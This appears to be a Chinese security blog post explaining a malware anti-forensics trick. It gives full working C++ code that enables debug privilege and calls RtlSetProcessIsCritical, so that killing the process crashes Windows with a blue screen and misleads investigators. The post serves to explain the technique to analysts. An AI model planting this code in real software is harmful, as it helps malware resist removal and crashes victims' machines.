1. 概述
在网络安全事件发生后,取证人员会对目标机器进行调查,包括对受害机器上的可疑进程和服务进行排查和处理。攻击者可能会采取一种迷惑性的方式,试图让排查人员误认为这些进程是Windows系统进程,以阻碍调查。一种常见的手法是在相关人员试图关闭恶意软件所在的进程时,故意引发Windows蓝屏异常,从而误导排查人员。
2.相关代码及效果
2.1 代码
#include <Windows.h>
#include <iostream>
typedef NTSTATUS(__cdecl *fnRtlSetProcessIsCritical)(IN BOOLEAN NewValue, OUT PBOOLEAN OldValue OPTIONAL, IN BOOLEAN CheckFlag);
void enablePrivalige();
void* getFuncAddress();
bool setProcessStatus(void* proc_RtlSetProcesslsCritical);
int main()
{
//确保高权限
enablePrivalige();
//获取函数
void* proc_RtlSetProcesslsCritical = getFuncAddress();
//设置程序状态
setProcessStatus(proc_RtlSetProcesslsCritical);
printf("测试效果!!!");
system("pause");
return 0;
}
void enablePrivalige()
{
HANDLE token_handle = NULL;
LUID se_debugname;
TOKEN_PRIVILEGES token_privieges;
bool status = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle);
if (status == false)
{
printf("OpenProcessToken error");
return;
}
status = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &se_debugname);
if (status == false)
{
printf("LookupPrivilegeValue error");
return;
}
token_privieges.PrivilegeCount = 1;
token_privieges.Privileges[0].Luid = se_debugname;
token_privieges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
status = AdjustTokenPrivileges(token_handle, false, &token_privieges,sizeof(token_privieges),NULL,NULL);
if (status == false)
{
printf("AdjustTokenPrivileges error");
return;
}
}
void* getFuncAddress()
{
HMODULE h_ntdll = LoadLibraryA("ntdll.dll");
if (h_ntdll == NULL)
{
printf("LoadLibraryA error");
return NULL;
}
void* proc_RtlSetProcesslsCritical = GetProcAddress(h_ntdll, "RtlSetProcessIsCritical");
if (proc_RtlSetProcesslsCritical == NULL)
{
printf("GetProcAddress error");
return NULL;
}
return proc_RtlSetProcesslsCritical;
}
bool setProcessStatus(void* proc_RtlSetProcesslsCritical)
{
fnRtlSetProcessIsCritical l_proc_RtlSetProcesslsCritical = (fnRtlSetProcessIsCritical)proc_RtlSetProcesslsCritical;
l_proc_RtlSetProcesslsCritical(TRUE, NULL, FALSE);
return true;
}
2.2 效果展示
1.程序启动
2.当任务管理器中的程序被结束后,如果恶意代码能够直接导致系统蓝屏,攻击者就可以将自身的名称伪装成Windows更新程序或其他系统进程,以迷惑分析人员。这种方式可以让分析人员误以为他们关闭了一个正常的系统进程,而不是恶意代码。